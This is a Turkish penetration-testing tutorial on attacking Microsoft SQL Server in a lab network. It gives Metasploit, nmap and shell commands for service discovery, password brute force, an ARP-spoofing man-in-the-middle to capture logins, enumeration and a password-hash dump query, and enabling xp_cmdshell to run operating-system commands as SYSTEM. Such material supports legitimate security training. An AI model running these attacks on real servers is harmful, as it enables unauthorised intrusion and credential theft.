Exchange Server Migration Senaryoları
Exchange Server Migration SenaryolarıExchange Server Migration Senaryoları
Exchange Server Migration Senaryoları
 

MSSQL Hacking ve Post Exploitation Yontemleri

  • 1. MS-SQL Hacking ve Post Exploitation Yöntemleri Eyüp Çelik Siber Güvenlik Danışmanı http://www.eyupcelik.com.tr
  • 2. EYÜP ÇELİK 1 http://www.eyupcelik.com.tr 1 İçindekiler 1. MS-SQL Servis Tespiti ve Bilgi Toplama........................................................................ 3 1.a Nmap ile Servis Tespiti.................................................................................................... 3 1.b Metasploit ile Servis Tespiti ............................................................................................ 6 1.c Microsoft SQL Server Management Studio ile Servis Tespiti ..................................... 7 1.d paping ile Servis Tespiti.................................................................................................. 8 1.e amap ile Servis Tespiti.................................................................................................... 8 2. MS-SQL Hacking ............................................................................................................ 9 2.a Brute-Force ..................................................................................................................... 9 2.a.1 Domain Kullanıcılarına Yönelik Brute Force Saldırısı ............................................... 9 2.a.2 MS-SQL Kullanıcılarına Yönelik Brute Force Saldırısı ..............................................10 2.a.2.a Metasploit ile MS-SQL’e Brute Force Saldırısı .....................................................10 2.a.2.b Nmap ile MS-SQL’e Brute Force Saldırısı.............................................................11 2.a.2.c C# ile MS-SQL’e Brute Force Saldırısı ..................................................................13 2.a.3 MS-SQL Kullanıcılarına Yönelik MITM Saldırısı .........................................................17 3. MS-SQL Post Exploitation ............................................................................................20 3.a MS-SQL Enumeration...................................................................................................20 3.a.1 Metasploit ile MS-SQL Enumeration........................................................................20 3.a.2 C# ile MS-SQL Enumeration ....................................................................................21 3.b Command Execution ile Sisteme Sızma ...................................................................25 3.b.1 Metasploit Command Execution ve Sızma...........................................................25 3.b.2 C# ile Command Execution ve Sızma...................................................................26 3.c.1 İşletim Sistemine Kullanıcı Hesabı Ekleme ve Yetkilendirme................................28 3.c.2 Windows Servislerini Yönetme .................................................................................29 3.c.3 İşlemleri Yönetme......................................................................................................29 3.c.4 Dosya ve Dizinleri Yönetme .....................................................................................29 3.c.5 Ağı Yönetme..............................................................................................................30 3.c.6 Windows Yamalarını Yönetme................................................................................30 3.d MS-SQL Dosya İndirme ve Zararlı Kod Çalıştırma.....................................................30 3.d.1 Windows’a Dosya İndirme.......................................................................................30 3.d.2 Windows’a Zararlı Dosya İndirme ve Ters Bağlantı Alma ....................................31 3.d.3 Meterpreter ile Ters Bağlantı Alma .........................................................................36 4. Hak ve Yetki Yükseltme ..............................................................................................37 5. İzlerin Temizliği (Anti-Forensics) ..................................................................................40
  • 3. EYÜP ÇELİK 2 http://www.eyupcelik.com.tr 2 MSSQL; Microsoft tarafından yaklaşık 15+ yıldır geliştirilen bir veritabanı yönetim sistemidir. Başlıca MS-SQL 2000, MS-SQL 2005, MS-SQL 2008, MS-SQL 2012, MS-SQL 2014 ve MS-SQL 2016 olmak üzere 5 ayrı dağıtım ile tanıştık. MS-SQL’i diğer veritabanlarından ayıran en önemli özelliklerinin başında, diğer Microsoft ürünleri ile entegrasyon gelmektedir. Bu entegrasyonun özellikle. NET çatısı ile birleştirilmesi sonucu ürün, birçok kuruma girmeyi başardı. MS-SQL; Oracle ve MySQL gibi ciddi rakiplerinin arasında sağlam bir yer edinmeyi başardı. (Ürünü övüp reklam yapmıyorum) Hal böyle olunca da MS-SQL sızma testlerinde ciddi bir hedef haline geldi diyebiliriz. Bu yazımda MS-SQL bilgi toplama, Brute Force, Sızma, Erişim Elde Etme, Malware (Backconnect) ve diğer Post-Exploitation işlemlerine güncel yöntemler ile değinmeye çalışacağım. Tüm bunların yanında, kendi deneyimlerim, güncel sorun ve çözümleri de ayrıca paylaşacağım. Şimdi adım adım MS-SQL sızma konusuna değinelim. Not: Bu içerik, Kali Linux dağıtımının kurulu olduğu ve MS-SQL sunucusu ile aynı ağda olduğu varsayılarak yazılmıştır. Kali Linux işletim sistemi NAT ile bağlanmış ve IP’si aşağıdaki gibidir. Network Topolojimiz de aşağıdaki gibidir.
  • 4. EYÜP ÇELİK 3 http://www.eyupcelik.com.tr 3 Saldırganın network’e dahil olduğu ve sunucu ağına erişebildiği varsayılmıştır. Buna göre ağımızda 2 adet MS-SQL, MS-SQL’lerin bağlı olduğu bir Domain Controller ve DMZ alanında koşan, SQL’e bağlanabilen dinamik bir web sunucusu mevcuttur. Tüm doküman bu test ortamı üzerinden anlatılacaktır. 1. MS-SQL Servis Tespiti ve Bilgi Toplama Her şeyden önce dâhil olduğumuz ağdaki MS-SQL servislerini ve sürümlerini bulmakla işe başlayabiliriz. Servis tespiti için; Nmap, MetaSploit, Microsoft SQL Server Management Studio, paping ve amap’ten faydalanabiliriz. 5 Aracı da ayrı ayrı inceleyeceğiz. 1.a Nmap ile Servis Tespiti Kali işletim sistemini açarak bir terminale erişelim. “nmap -A -v -p 1433 192.168.139.0/24” komutu ile 192.168.139.1-192.168.139.254 IP adresi aralığında, 1433 portu açık olan sunucuları tarayabiliriz. nmap -A -v -p 1433 192.168.139.0/24
  • 5. EYÜP ÇELİK 4 http://www.eyupcelik.com.tr 4 Tarama çıktısı yukarıdaki gibi olacaktır. Bu çıktıya göre 192.168.139.0/24 ağında, 192.168.139.102 IP adresinin MS-SQL yayını yaptığını ve MS-SQL Server 2012 sürümünü kullandığını görebiliriz. Nmap içerisinde yer alan ve MS-SQL servis bilgelerini almak için kullanabileceğimiz bir diğer araç da Nmap “ms-sql-info” scriptidir. Scripti kullanabilmek için; nmap --script ms-sql-info 192.168.139.167 Diğer taramamızın da çıktısı aşağıdaki gibi olacaktır. Üstteki Nmap çıktısına göre 192.168.139.167 IP adresi Microsoft SQL Server 2014 SP1 versiyonuna sahip, diyebiliriz.
  • 6. EYÜP ÇELİK 5 http://www.eyupcelik.com.tr 5 Önemli Not: Bu bilgileri alabilmemizin sebebi MS-SQL’in TCP/IP bağlantılarına izin verilmesinden kaynaklıdır. “SQL Server Configuration Manager”da “SQL Server Network ConfigurationProtocols for $MSSQLInstanceName” tabı altında yer alan TCP/IP seçeneğinin “Enabled” olmasından kaynaklanmaktadır. Bu seçeneğin aktif olması, ağdaki diğer cihazların MS-SQL portuna erişebilmesini sağlamaktadır. Normal şartlar altında MS-SQL servisine bağlanacak IP adreslerinin kısıtlanmasını tavsiye edebilirim. Eğer MS-SQL servisine sadece 192.168.139.1 IP adresi bağlanacaksa, Windows Güvenlik Duvarı’nda erişim tanımlaması yapmamız gerekir. Bunun için komut satırına ya da çalıştır’a “wf.msc” yazarak, “Windows Firewall with Advanced Security”e erişelim. Ardından sol tarafta yer alan “Inbound Rules” menüsüne erişerek, sağ tarafta yer alan “New Rule”a tıklayalım. Yeni kural tanımlama ekranından “Port”u seçerek, Next’i tıklayalım. “TCP”yi seçip, “Spesific local ports”a “1433” yazarak Next’i tıklayalım. Action kısmına “Allow Connection”ı seçerek Next’i tıklayalım. Yeni oluşturduğumuz Rule’un etkili olacağı Profilleri işaretleyip, Next’i tıklayalım. Oluşturduğumuz Rule’a bir isim (MS-SQL) vererek, Finish diyelim. Oluşturduğumuz Rule, Inbound Rules kısmına düşecek. Şimdi oluşturduğumuz Rule’u çift tıklayıp, üstte bulunan “Scope” menüsüne tıklayalım. Aşağıda bulunan “Remote IP Address” kısmının sağ tarafındaki “Add”e tıklayalım. İzin vermek istediğimiz IP adresini veya aralığı yazalım. Biz 192.168.139.1 IP adresine izin vereceğimiz için bu IP adresini yazıp, “Apply” diyelim. Artık, MS-SQL sunucumuza sadece izin verdiğimiz IP adresi bağlanabilecek. Eğer dilersek bir IP aralığı da Wildcard Mask kullanarak verebiliriz. Örneğin; sadece 192.168.139.0-192.168.139.255 IP aralığındaki bir herhangi bir IP’nin bağlanmasını istiyorsak; 192.168.139.0/24 şeklinde bir
  • 7. EYÜP ÇELİK 6 http://www.eyupcelik.com.tr 6 girdi ile bu aralıktaki tüm IP adreslerine izin vermiş oluruz. Normal şartlar altında, MS-SQL gibi kritik verilerin olabileceği sunucuların bir aralığa değil de her IP adresi için özel olarak kısıtlanması gerekir. 1.b Metasploit ile Servis Tespiti Metasploit Framework’ü de MS-SQL servis bilgilerini toplamak konusunda bize yardımcı olabilecek bir diğer araç olarak kullanabiliriz. Bilgi toplama işlemi için, MSF (Metasploit Framework) içerisinde yer alan “auxiliary/scanner/mssql/mssql_ping” Auxiliary modülünü kullanabiliriz. 192.168.139.167 IP adresi için bir tarama başlatacağız. Kali işletim sistemimizde bir konsol açalım. Ardından “msfconsole” komutunu kullanarak MSF konsolunu başlatalım. Sırası ile aşağıdaki komutları çalıştıralım. use auxiliary/scanner/mssql/mssql_ping set RHOSTS <IP Adresi yada IP Aralığı> run
  • 8. EYÜP ÇELİK 7 http://www.eyupcelik.com.tr 7 1.c Microsoft SQL Server Management Studio ile Servis Tespiti Ağdaki MS-SQL servislerinin tespiti için “Microsoft SQL Server Studio Manager”dan da yararlanabiliriz. Bunun için Microsoft SQL Server Management Studio’yu açalım. File menüsünden “Connect Object Explorer”a tıklayalım. Karşımıza gelen oturum açma alanından “Server Name”e erişelim. Buradan aşağı doğru bakan ok işaretini tıklayarak, <Browse for more…> seçeneğini seçelim. Bu seçeneği tıklamamızın ardından yeni bir menü karşımıza gelecek. Üst kısımda yer alan “Network Servers” menüsüne tıklayalım. Bulunduğumuz ağdaki yayın yapan MS-SQL sunucularının listesi ve versiyonları burada gözükecektir. Dip Not: MS-SQL servislerinin “Network Servers” menüsünde görünebilmesi için, yayın yapan MS-SQL sunucusunda “SQL Server Browser” servisinin çalışıyor olması gerekmektedir. Bu servis çalışmıyorsa, “Network Servers” menüsünden SQL sunucusunu göremiyoruz.
  • 9. EYÜP ÇELİK 8 http://www.eyupcelik.com.tr 8 1.d paping ile Servis Tespiti MS-SQL servis tespiti için kullanabileceğimiz bir diğer araç da “paping” uygulamasıdır. Bu uygulama daha çok bir IP adresindeki portları pinglemek için yazılmış olsa da servis tespiti için kullanılabilecek uygulamalardan biridir. Açık kaynak kodlu bu uygulamayı https://code.google.com/archive/p/paping/ adresinden indirebiliriz. paping uygulaması -p parametresi ile port bilgisini alarak, belirtmiş olduğumuz IP adresindeki servisi pingleyerek, servisin açık olup olmadığını kontrol etmek için kullanabiliriz. Yukardaki ekran görüntüsünde “paping -p 1433 192.168.139.102” komutu ile 192.168.139.102 IP adresinin 1433 portunu pingleyerek, MS-SQL servisinin çalışıp çalışmadığını anlayabiliriz. 1.e amap ile Servis Tespiti Servis tespiti için kullanabileceğimiz bir diğer araç ise “amap”. amap Kali Linux ile birlikte gelen ve “Banner Grabbing” yapabilen bir araçtır. Bu araç ile belirttiğimiz portta yayın yapan uygulamanın servis bilgilerini alabiliriz. amap -A 192.168.139.167 1433 amap ile MS-SQL servisi hakkında, yukarıdaki gibi bilgi alabiliriz.
  • 10. EYÜP ÇELİK 9 http://www.eyupcelik.com.tr 9 2. MS-SQL Hacking Şimdiye kadar MS-SQL hakkında bilgi toplama işlemleri gerçekleştirdik. Ağda bulunan servisler, bu servislerin versiyonlarını ve IP adreslerini bulduk. Artık MS-SQL için hacking konusuna geçebiliriz. MS-SQL hacking konusunu da 2 ana başlık altında inceleyeceğiz. 2.a Brute-Force Brute force, en çok kullanılan MS-SQL saldırı yöntemlerinin başında gelir. Şimdiye kadar gerek kamu gerekse de özel kuruluşlara yapmış olduğum sızma testlerinde mutlak sonuca götüren yöntemlerden biri diyebilirim. Kurum ve kuruluşlarda özellikle test sunucularında oldukça başarılı bir yöntemdir. Birçok kurum ve kuruluşta bu yöntem ile “Domain Admin” hesabını ele geçirdim. Özellikle yazılım geliştiren kurum ve kuruluşlarda, daha hızlı ve pratik kullanım için MS-SQL sunucuları varsayılan olarak güvenliğe dikkat edilmeden bırakılmaktadır. MS-SQL veritabanı 2 oturum açma türüne sahiptir. Bu oturum açma türleri, MS-SQL ilk kurulumu sırasında ayarlanarak, veritabanı hizmeti yüklenir. 1- Windows Authentication 2- SQL Server Authentication. Windows Authentication; hem yerel hem de domain kullanıcılarının SQL sunucusuna başka bir şifre girmelerine gerek kalmadan oturum açabilmelerine olanak tanır. SQL Server Authentication ile de varsayılanda “sa” kullanıcısı için bir parola belirlenerek kurulum tamamlanır. Sadece Windows ile oturum ya da Mixed mod ile hem Windows hem de SQL Server kullanıcı hesabı ile oturum açılabilmektedir. Brute force işte tam bu noktada imdadımıza yetişmektedir. MS-SQL için brute force işlemini iki başlık altında inceleyebiliriz. 1- SQL’de oturum açma hakkına sahip domain kullanıcıları 2- SQL kullanıcıları için şeklinde inceleyebiliriz. 2.a.1 Domain Kullanıcılarına Yönelik Brute Force Saldırısı Bu yöntem biraz uğraş isteyen yöntemlerden biridir. Öncelikle yazılım geliştiren ya da veritabanı yöneticisi olan kişilerin sosyal ağlardan bulunması ile işe başlanabilir. Burada yapacağımız ilk işlerden biri, test yaptığımız kurum veya kuruluştaki SQL’de oturum açabilecek kullanıcıların Linkedin, Twitter veya Facebook üzerinden aratmamız gerekecektir. Aradığımız personeli bulduktan sonra bu personel için brute force işlemi başlatabiliriz. Bu işlem için kullanabileceğimiz en sağlıklı araç, Metasploit içerisinde yer alan “auxiliary/scanner/smb/smb_login” modülü olacaktır. use auxiliary/scanner/smb/smb_login set RHOSTS <IP Adresi yada IP Aralığı>(Domain kullanıcıları için en sağlıklı host, DC’nin IP’si dir.) set SMBDOMAIN <Domain Adresi> set USER_FILE <Kullanıcı Adlarının Olduğu Dosya> set PASS_FILE <Şifre Dosyası> run
  • 11. EYÜP ÇELİK 10 http://www.eyupcelik.com.tr 10 MSF ile SMB servisi için bir brute force işlemi başlattık. Test sonunda “secuirtylabs.local” domainde “db” kullanıcısının “Password1” parolasına sahip olduğunu tespit ettik. Elde ettiğimiz kullanıcı hesabı ile MS-SQL’e sızma işlemini bir sonraki bölümde detaylıca inceleyeceğiz. 2.a.2 MS-SQL Kullanıcılarına Yönelik Brute Force Saldırısı MS-SQL’e gelen saldırıların büyük çoğunluğu SQL kullanıcı hesaplarına yönelik yapılmaktadır. Özellikle MS-SQL varsayılan yönetici hesabı olan “sa” hesabına yönelik saldırılar ile SQL veritabanı ele geçirilmeye çalışılır. Bu bölümde MS-SQL’e brute force işlemi yapabilen 2 araçla birlikte, .NET (C#) ortamında brute force işlemini kendi programımız ile nasıl gerçekleştirebileceğimize de değineceğim. 2.a.2.a Metasploit ile MS-SQL’e Brute Force Saldırısı MS-SQL kullanıcı hesaplarına yönelik Metasploit’de bulunan “auxiliary/scanner/mssql/mssql_login” modülünü kullanabiliriz. Bu Auxiliary modülü ile MS-SQL kullanıcılara brute force yapabiliriz. use auxiliary/scanner/mssql/mssql_login set RHOSTS <IP Adresi yada IP Aralığı>(Domain kullanıcıları için en sağlıklı host, DC’nin IP’si dir.) set USER_FILE <Kullanıcı Adlarının Olduğu Dosya> set PASS_FILE <Şifre Dosyası> set THREADS 10 (Şifre dosyasının büyüklüğüne göre thread ayarlayarak testi hızlandırabiliriz) run
  • 12. EYÜP ÇELİK 11 http://www.eyupcelik.com.tr 11 MS-SQL için Metasploit üzerinden başlattığımız brute force işlemi başarı ile tamamlandı. “sa” kullanıcısının “Password1” parolasını sahip olduğu tespit edildi. Bundan sonra yapacağımız işlem, parolası tespit edilen kullanıcı hesabı ile MS-SQL sunucusuna erişerek, komut çalıştırmak olacaktır. 2.a.2.b Nmap ile MS-SQL’e Brute Force Saldırısı MS-SQL brute force işlemi için kullanabileceğimiz bir diğer araç da “Nmap”te bulunan “ms-sql-brute” scriptidir. nmap --script ms-sql-brute --script-args userdb=<kullanıcı dosyası>,passdb=<şifre dosyası> IP yada IP Aralığı
  • 13. EYÜP ÇELİK 12 http://www.eyupcelik.com.tr 12 192.168.139.102 IP adresi için başlattığımız test tamamlandı. “sa” kullanıcısı için “Password1” parolasını tespit etmiş. Nmap scripti en gelişmiş tekniklere sahip brute force aracıdır. Üstteki resimde görüleceği üzere bir kullanıcı dosyası ve bir şifre dosyası ile MS-SQL brute force işlemini başlatmıştım. Bunun dışında “2.a.1 Domain Kullanıcılarına Yönelik Brute Force Saldırısı” başlığı altında “smb” şifresini bulduğumuz kullanıcı hesabı gibi “domain” kullanıcılarına da yönelik şifre denemesi gerçekleştirebilir. nmap -p 1433 --script ms-sql-brute --script-args "ms-sql-brute.brute-windows- accounts=true,userdb=/root/Desktop/userfile.txt,smbdomain=securitylabs.local,sm bport=445,passdb=/root/Desktop/passfile.txt,mssql.domain=securitylabs.local" 192.168.139.102 ms-sql-brute scripti içerisinde yer alan SMB seçenekleri ile MS-SQL’de oturum açabilen domain kullanıcılarına yönelik brute force testi başlattık. Script, MS-SQL için yapılan brute force işleminde domainde bulunan “db” kullanıcısının şifresini tespit etmiştir.
  • 14. EYÜP ÇELİK 13 http://www.eyupcelik.com.tr 13 2.a.2.c C# ile MS-SQL’e Brute Force Saldırısı Bu bölümde de MS-SQL için C# ile basit bir brute force aracını nasıl yazabileceğimize değineceğim. Visual studio’dan yeni bir proje oluşturalım. Form ekranına aşağıdaki gibi controlleri ekleyelim. Forma 3 adet buton, 2 adet textbox ekledim. Kullanıcı dosyası için btnKullanici, şifre dosyası için btnSifre ve başlat butonu için btnBaslat isimlerini verdim. IP adresi için txtIP ve loğları yazdırmak için de txtStatus adında controllerimi isimlendirdim. Ayrıca globalde de iki adet “Generic List” oluşturdum. Globalde oluşturduğumuz generic list’ler yukarıdaki resimde görüldüğü gibi olacak. btnKullanici’dan ve btnSifre’den seçtiğimiz dosyalar bu generic listler içerisine doldurulacak.
  • 15. EYÜP ÇELİK 14 http://www.eyupcelik.com.tr 14 Kullanıcı dosyası seçildikten sonra aynı işlemi şifre dosyası için de uyguluyoruz.
  • 16. EYÜP ÇELİK 15 http://www.eyupcelik.com.tr 15 Tüm bu işlemlerin ardından artık brute force işlemi için metodumuzu yazmaya koyulabiliriz. Bunun için “BruteForce” adında bir metod tanımladım. Metodumuz da aşağıdaki gibi olacaktır. Oluşturduğumuz metod yukarıdaki gibi olacak. Geriye bir tek işlem kaldı, bu brute force metodunu çalıştırmak.
  • 17. EYÜP ÇELİK 16 http://www.eyupcelik.com.tr 16 btnStart için bir Task oluşturup, bu taska da BruteForce isimli oluşturduğumuz metodu tanımlıyoruz. Artık her şeyimiz hazır. Unutmadan! Form’un load event’ına da “CheckForIllegalCrossThreadCalls = false;” u ekliyoruz. Çünkü metodumuzu bir task içerisine doldurduk ve metod içerisinde txtStatus’e yazı yazdırıyoruz, dolayısı ile bunu vermez isek “InvalidOperationException” alacağız. Kodları derleyip programı başlatıyoruz. Ve testimizin sonucu yukarıdaki gibi olacaktır. Program başarılı bir şekilde brute force için kullanılabilir. Yazının en sonunda programın kaynak kodlarını da paylaşacağım. Kopyala yapıştır yerine biraz yazmaya teşvik etmek için kodları bilerek resim olarak veriyorum.
  • 18. EYÜP ÇELİK 17 http://www.eyupcelik.com.tr 17 2.a.3 MS-SQL Kullanıcılarına Yönelik MITM Saldırısı Bu saldırı türünde ise MS-SQL kullanıcı hesaplarını ele geçirmek için MITM saldırısı yapacağız. MITM saldırısı ile ağda MS-SQL oturumu açan kullanıcının erişim bilgilerini ele geçireceğiz. Bunun için birkaç işlemi / aracı bir arada kullanmamız gerekiyor. 1. IP Forwarding 2. NAT 3. Metasploit 4. Arp Spoof 1. IP Forwarding Öncelikle 192.168.139.164 IP adresine sahip saldırgan makinamızda (Kali Linux) ip_forwarding’i aktif etmemiz gerekiyor. Bunun için; “echo 1 > /proc/sys/net/ipv4/ip_forward” komutu ile ip_forward özelliğini aktif ediyoruz. Bir sonraki adımda NAT kuralı oluşturmamız gerekiyor. MITM saldırısına maruz kalacak kullanıcı MS-SQL’e erişim sağlamaya çalıştığında, erişim sağlamaya çalıştığı trafiği bize yönlendirecek. Yani; kurbanımız MS-SQL veritabanına erişim sağlamak için 1433 portuna bağlandığında, oluşan trafiği bizim Kali Linux’umuzdaki sahte 1433 portuna yönlendirecek. Böylece trafiği yakalayarak içeriğini okuyabileceğiz. 2. NAT “iptables -t nat -A PREROUTING -p tcp -d 192.168.139.102 --dport 1433 -j REDIRECT --to- ports 1433” komutu ile kurbanımız 1433 portuna yönlendirilmiş olacak ve 192.168.139.102 (MS-SQL DB) IP adresinin 1433 portuna giden trafiğin arasına girmemizi sağlayacak. 3. Metasploit Gerekli ayarları yaptıktan sonraki adımımız, MS-SQL’e giden trafiği sniff etmemiz olacaktır. Bunun için de Metasploit Framework içerisinde bulunan “auxiliary/server/capture/mssql” auxiliary modülünü kullanacağız. Yeni bir konsol ekranı açarak aşağıdaki konfigürasyonu gerçekleştirelim.
  • 19. EYÜP ÇELİK 18 http://www.eyupcelik.com.tr 18 use auxiliary/server/capture/mssql run Varsayılan ayarlar bizim için yeterli olacaktır. Bu hali ile komutumuzu girip, sniff işlemini çalışır duruma getiriyoruz. Artık geriye bir tek işlemimiz kaldı, ARP Spoof yaparak trafiği Kali Linux makinamıza yönlendirmek. 4. ARP Spoof Bu işlem ile MS-SQL’e giden trafiği Kali Linux makinamıza yönlendireceğiz. Böylece kurban MS-SQL’de oturum açmaya çalışırken şifresini Metasploit ile yakalayacağız. Dip Not: Kurban olarak seçeceğimiz makine çok önemli! Yani öyle bir makine seçmeliyiz ki MS-SQL’e bağlansın. Ben MITM için Web Sunucularına arp spoof yapılmasını tavsiye ediyorum. Çünkü .net ile geliştirilmiş uygulamalar genel itibari ile MS- SQL’e bağlanırlar. Web uygulamasının bulunduğu sunucuyu spoof ettiğimizde başarıya ulaşma şansımız oldukça yüksektir. Tabi birkaç dakikalık kesinti problem değilse… En başta network topolojimizi paylaşmıştım. Ağda yayın yapan Web Server (IIS) 192.168.139.163 IP adresinde yayın yapıyor. “arpspoof -i <interface> -t <kurban> <MS-SQL server>“ komutu ile ARP Spoof işlemini başlatıyoruz. Hemen ardından Web sunucusuna bir browser aracılığı ile erişip, MS-SQL’e bağlanmasını sağlıyoruz. MS-SQL’e bağlantı isteği gittiğinde ise şifreyi dump edeceğiz.
  • 20. EYÜP ÇELİK 19 http://www.eyupcelik.com.tr 19 Web uygulamasına eriştiğimizde, yukardaki resimde görüleceği üzerine hata alacağız. Uygulama MS-SQL’e bağlanamadığı için hataya düşecektir. Şimdi Metasploit framework e geri dönüp, dump edilen şifreye bakalım. Görüleceği üzere MS-SQL bağlantısı gerçekleştirilmiş ve erişim bilgileri elde edilmiştir.
  • 21. EYÜP ÇELİK 20 http://www.eyupcelik.com.tr 20 3. MS-SQL Post Exploitation Şimdiye kadar MS-SQL servis tespiti ve sızma konularına baktık. Bundan sonra şifresi elde edilen MS-SQL kullanıcı hesabı ile post Exploitation kısmına değineceğiz. Elde ettiğimiz verilerle diğer sistemlere sızmaya çalışacağız. Bu adımdaki amacımız “Domain Controller”ı ele geçirmek olacaktır. Ancak bu konuyu da birkaç başlık altında inceleyeceğiz. 3.a MS-SQL Enumeration Bu adımda elde ettiğimiz şifre bilgilerini kullanarak diğer MS-SQL kullanıcılarının bilgilerini ele geçirmeye çalışacağız. Bunun için de birkaç aracı kullanacağız. 3.a.1 Metasploit ile MS-SQL Enumeration Elde ettiğimiz şifreyi kullanarak MS-SQL sunucusuna erişerek, diğer kullanıcıların erişim bilgilerini elde etmeye çalışacağız. Bunun için “auxiliary/admin/mssql/mssql_enum” Auxiliary modülünü kullanacağız. use auxiliary/admin/mssql/mssql_enum set RHOSTS <IP Adresi> set USERNAME <Kullanıcı Adı> set PASSWORD <Şifre > run mssql_enum modülü ile MS-SQL’de oturum açabilen kullanıcı hesapları, database dosyaları ve yetkili kullanıcı hesap adları gibi birçok bilgiyi elde edebiliriz.
  • 22. EYÜP ÇELİK 21 http://www.eyupcelik.com.tr 21 Modülün çıktısı yukarıdaki gibi olacaktır. Oturum açabilen kullanıcılar ve database dosyalarının bulunduğu dizinlerin bilgisini aldık. 3.a.2 C# ile MS-SQL Enumeration Bu bölümde C# kullanarak MS-SQL Enumeration işlemlerini yapabiliriz. Bunun için “2.a.2.c C# ile MS-SQL’e Brute Force Saldırısı” bölümünde yaptığımız uygulamayı geliştireceğiz. Uygulamamıza aşağıdaki gibi kontrolleri ekleyelim.
  • 23. EYÜP ÇELİK 22 http://www.eyupcelik.com.tr 22 Kullanıcı adını için txtKullanici, şifre için txtSifre, IP adresi için txtIPAdres, Enumeration için cmbEnumeration, ayrıca komutları kendimiz yazmak için txtKomut ve girdiğimiz verileri çalıştırmak için de btnCalistir adında kontrolleri ekliyoruz. cmbEnumeration adında ComboBox’ımıza “User Enumeration” adında bir Item ekliyoruz. Şimdi kodlamaya geçelim. “UserEnumeration” adında bir metod tanımlıyoruz. Kodumuz yukarıdaki gibi olacak. İki ayrı sorgu çalıştırıyoruz. Birinci sorgu MS-SQL’deki tüm kullanıcıları, ikinci sorgu ise MS-SQL’deki yetkili kullanıcı isimlerini bize döndürecek.
  • 24. EYÜP ÇELİK 23 http://www.eyupcelik.com.tr 23 Kodumuzu yazdıktan sonra da btnCalistir’ın Click event’ına yukardaki gibi bir koşul ekliyoruz. Buna göre cmbEnumeration combobox’ından seçilen veri “User Enumeration” ise bir Task başlatıp, metodumuzu çalıştıracak. Programımızın çıktısı yukarıdaki gibi olacak. Artık kendi uygulamamız üzerinden bu işlemleri rahatlıkla yapabiliriz. Şimdi daha geniş bir Enumeration işlemi için birkaç kod paylaşacağım. Bu kodları da kullanarak uygulama için tanımlamalar yapabiliriz. SQL Komutu Açıklama select name from master..sysdatabases Tüm veritabanlarını gösterir select name from master.sys.sql_logins where is_expiration_checked = 0 Parolasının süresi bitmeyen kullanıcıları gösterir SELECT CAST(SYSOBJECTS.NAME AS CHAR) FROM SYSOBJECTS, SYSPROTECTS WHERE SYSPROTECTS.UID = 0 AND XTYPE IN ('X','P') AND SYSOBJECTS.ID = SYSPROTECTS.ID Kullanılabilir prosedürleri gösterir SELECT name, password_hash FROM master.sys.sql_logins Kullanıcıların hash’lerini dump eder DECLARE @RegLoc VARCHAR(100) select @RegLoc='SOFTWAREMicrosoftWindows NTCurrentVersion' Registry kayıt okuma
  • 25. EYÜP ÇELİK 24 http://www.eyupcelik.com.tr 24 EXEC [master].[dbo].[xp_regread] @rootkey='HKEY_LOCAL_MACHINE', @key=@RegLoc, @value_name='ProductName' Ben yukarıdaki tabloda oturum açan kullanıcıların hash’lerini dump edecek SQL kodunu yazdım. Ayrıca bu kodu uygulama içinde de tanımladım. Uygulama dışında Metasploit Framework ile de hash’lerin dump’ı alınabilmektedir. Bunun aşağıdaki gibi Metasploit modülünü çalıştırarak diğer kullanıcıların hash’lerini dump edebiliriz. Ayrıca geliştirdiğimiz uygulamadan da aldığımız hash dump aşağıdaki gibi olacaktır.
  • 26. EYÜP ÇELİK 25 http://www.eyupcelik.com.tr 25 3.b Command Execution ile Sisteme Sızma Bu bölümde elde ettiğimiz şifreler ile MS-SQL sunucusunda komutlar çalıştırarak MS-SQL sunucusunu ele geçireceğiz. Daha sonra da “Domain Controller”ı ele geçirmeye çalışacağız. MS-SQL veritabanında “xp_cmdshell” üzerinden komut gönderebiliriz. Ancak varsayılanda “xp_cmdshell” stored procedure’u kapalı olarak gelmektedir. Eğer elde ettiğimiz kullanıcı hesabı, “sysadmin” hak ve yetkilerine sahipse bu stored procedure’ü aktif edebiliriz. Bunun için 2 yöntem kullanacağız. 3.b.1 Metasploit Command Execution ve Sızma MS-SQL’de bulunan “auxiliary/admin/mssql/mssql_exec” Auxiliary modülünü kullanarak işletim sistemine komut göndereceğiz. Modülün kullanımı aşağıdaki gibidir. Not: mssql_exec Auxiliary modülü, ilk çalıştırılma anında eğer “xp_cmdshell” store procedur’ü aktif değil ise aktif duruma almakta, ardından komutumuzu bu prosedüre üzerinden çalıştırmaktadır. use auxiliary/admin/mssql/mssql_exec set RHOSTS <IP Adresi> set USERNAME <Kullanıcı Adı> set PASSWORD <Şifre > set CMD “Komut” run
  • 27. EYÜP ÇELİK 26 http://www.eyupcelik.com.tr 26 İlk olarak “whoami” komutu ile işletim sisteminin hangi kullanıcı hak ve yetkilerine sahip olduğuna bakabiliriz. Yukarıdaki ekran çıktısında MS-SQL servisinin “nt authoritysystem” hak ve yetkilerine sahip olduğu görülmektedir. Servis bir Windows işletim sistemindeki en yetkili hesap ile çalışıyor diyebiliriz. 3.b.2 C# ile Command Execution ve Sızma Şimdi aynı işlemleri geliştirdiğimiz uygulama üzerinden yapalım. Bunun için uygulamamıza “CommandExecute” adında bir metod tanımlayalım. Ve metodumuz için yazacağımız kodlar da aşağıdaki gibi olacaktır. Kodlarımızı yukarıdaki gibi yazdıktan sonra “Çalıştır” butonumuza da gerekli tanımlamaları yapmamız lazım.
  • 28. EYÜP ÇELİK 27 http://www.eyupcelik.com.tr 27 Çalıştır butonumuzun else koşulunu da yukarıdaki gibi dolduruyoruz. Yani kullanıcı hazır komutlar yerine txtKomut’a girdiği komutlar MS-SQL üzerinde çalıştırılarak bize geri döndürülecektir. Programı ilk çalıştırdığımızda eğer “xp_cmdshell” aktif değilse aşağıdaki kod ile aktif duruma alabiliriz. EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC sp_configure 'show advanced options', 0; RECONFIGURE; Uygulamamızı başlatarak, yukarıdaki kodu Komut kısmına yapıştırıp komutumuzu çalıştıralım. Ardından “EXEC xp_cmdshell ‘whoami’;” komutu ile MS-SQL servis hesabının hak ve yetkilerini kontrol edebiliriz. Uygulamamızın çıktısı yukarıdaki gibi olacaktır. Artık uygulamamızı rahatlıkla kullanabiliriz.
